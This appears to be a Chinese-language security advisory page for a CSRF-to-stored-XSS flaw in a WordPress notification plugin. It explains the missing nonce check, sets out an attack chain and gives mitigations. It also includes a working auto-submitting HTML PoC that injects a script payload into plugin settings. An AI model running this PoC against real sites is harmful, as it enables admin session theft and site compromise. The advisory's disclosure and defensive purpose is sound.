CVE-2025-12412 CVSS 6.1 中危

CVE-2025-12412 WordPress Top Bar Notification插件CSRF漏洞可注入恶意脚本

披露日期: 2025-11-04

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-12412

漏洞类型

跨站请求伪造(CSRF)

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Top Bar Notification WordPress插件

漏洞概述

CVE-2025-12412是WordPress平台Top Bar Notification插件中的一个跨站请求伪造(CSRF)安全漏洞。该插件用于在WordPress网站顶部显示通知栏。漏洞源于tbn_ajax_add()函数缺少或存在不正确的nonce验证机制，导致攻击者可以在未经身份验证的情况下，通过构造恶意请求更新插件设置。攻击者需要诱导网站管理员点击特制链接，利用管理员的已登录会话执行操作。由于漏洞可被用于注入存储型XSS恶意脚本，一旦成功，攻击者可在管理员访问管理后台时执行任意JavaScript代码，可能导致会话劫持、权限提升或进一步横向移动。此漏洞影响该插件1.12及以下所有版本，CVSS评分6.1，属于中危级别。

技术细节

该漏洞存在于Top Bar Notification插件的AJAX处理函数tbn_ajax_add()中。问题根源在于该函数未能正确实施WordPress的nonce安全验证机制。WordPress推荐使用wp_verify_nonce()函数验证请求来源的合法性，但该插件的tbn_ajax_add()函数要么完全缺少nonce验证，要么验证逻辑存在缺陷。攻击者可以构造一个包含恶意JavaScript代码的POST请求，诱骗已登录的管理员访问。由于浏览器会自动携带目标网站的Cookie，服务器会误认为该请求来自合法的管理员用户。攻击者可利用此漏洞修改插件配置，注入存储型XSS payload。当管理员访问插件设置页面或触发相关功能时，恶意脚本将执行。攻击者可能窃取管理员会话令牌、修改网站内容或提升权限。漏洞的技术根源在于插件开发时对CSRF防护的忽视，未遵循WordPress安全编码最佳实践。

攻击链分析

STEP 1

步骤1

攻击者创建包含恶意payload的CSRF攻击页面，payload为存储型XSS脚本

STEP 2

步骤2

攻击者通过钓鱼邮件、社交工程或恶意网站诱导目标网站管理员点击特制链接

STEP 3

步骤3

管理员浏览器自动携带WordPress Cookie向目标站点发送POST请求

STEP 4

步骤4

目标服务器因tbn_ajax_add()函数缺少nonce验证，错误地处理请求并保存恶意脚本到数据库

STEP 5

步骤5

当管理员访问插件相关页面时，存储的恶意JavaScript代码被执行，攻击者窃取会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-12412 PoC: CSRF to Stored XSS in Top Bar Notification plugin -->
<html>
  <body>
    <form action="http://target-wordpress-site/wp-admin/admin-ajax.php" method="POST" id="exploit">
      <input type="hidden" name="action" value="tbn_ajax_add" />
      <input type="hidden" name="tbn_title" value="Notification Title" />
      <input type="hidden" name="tbn_message" value="<script>alert(document.cookie)</script>" />
      <input type="hidden" name="tbn_button_text" value="Click Me" />
      <input type="hidden" name="tbn_button_url" value="https://malicious-site.com" />
      <input type="hidden" name="tbn_display_time" value="0" />
      <input type="hidden" name="tbn_position" value="top" />
    </form>
    <script>
      document.getElementById('exploit').submit();
    </script>
  </body>
</html>

影响范围

Top Bar Notification WordPress插件 <= 1.12

防御指南

临时缓解措施

在官方修复版本发布前，可临时采取以下措施：1) 限制管理员账户使用独立浏览器会话；2) 启用WordPress的REST API nonce要求；3) 使用安全插件如Wordfence添加额外防护层；4) 监控admin-ajax.php的异常请求模式；5) 考虑暂时禁用该插件直到完成安全更新。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表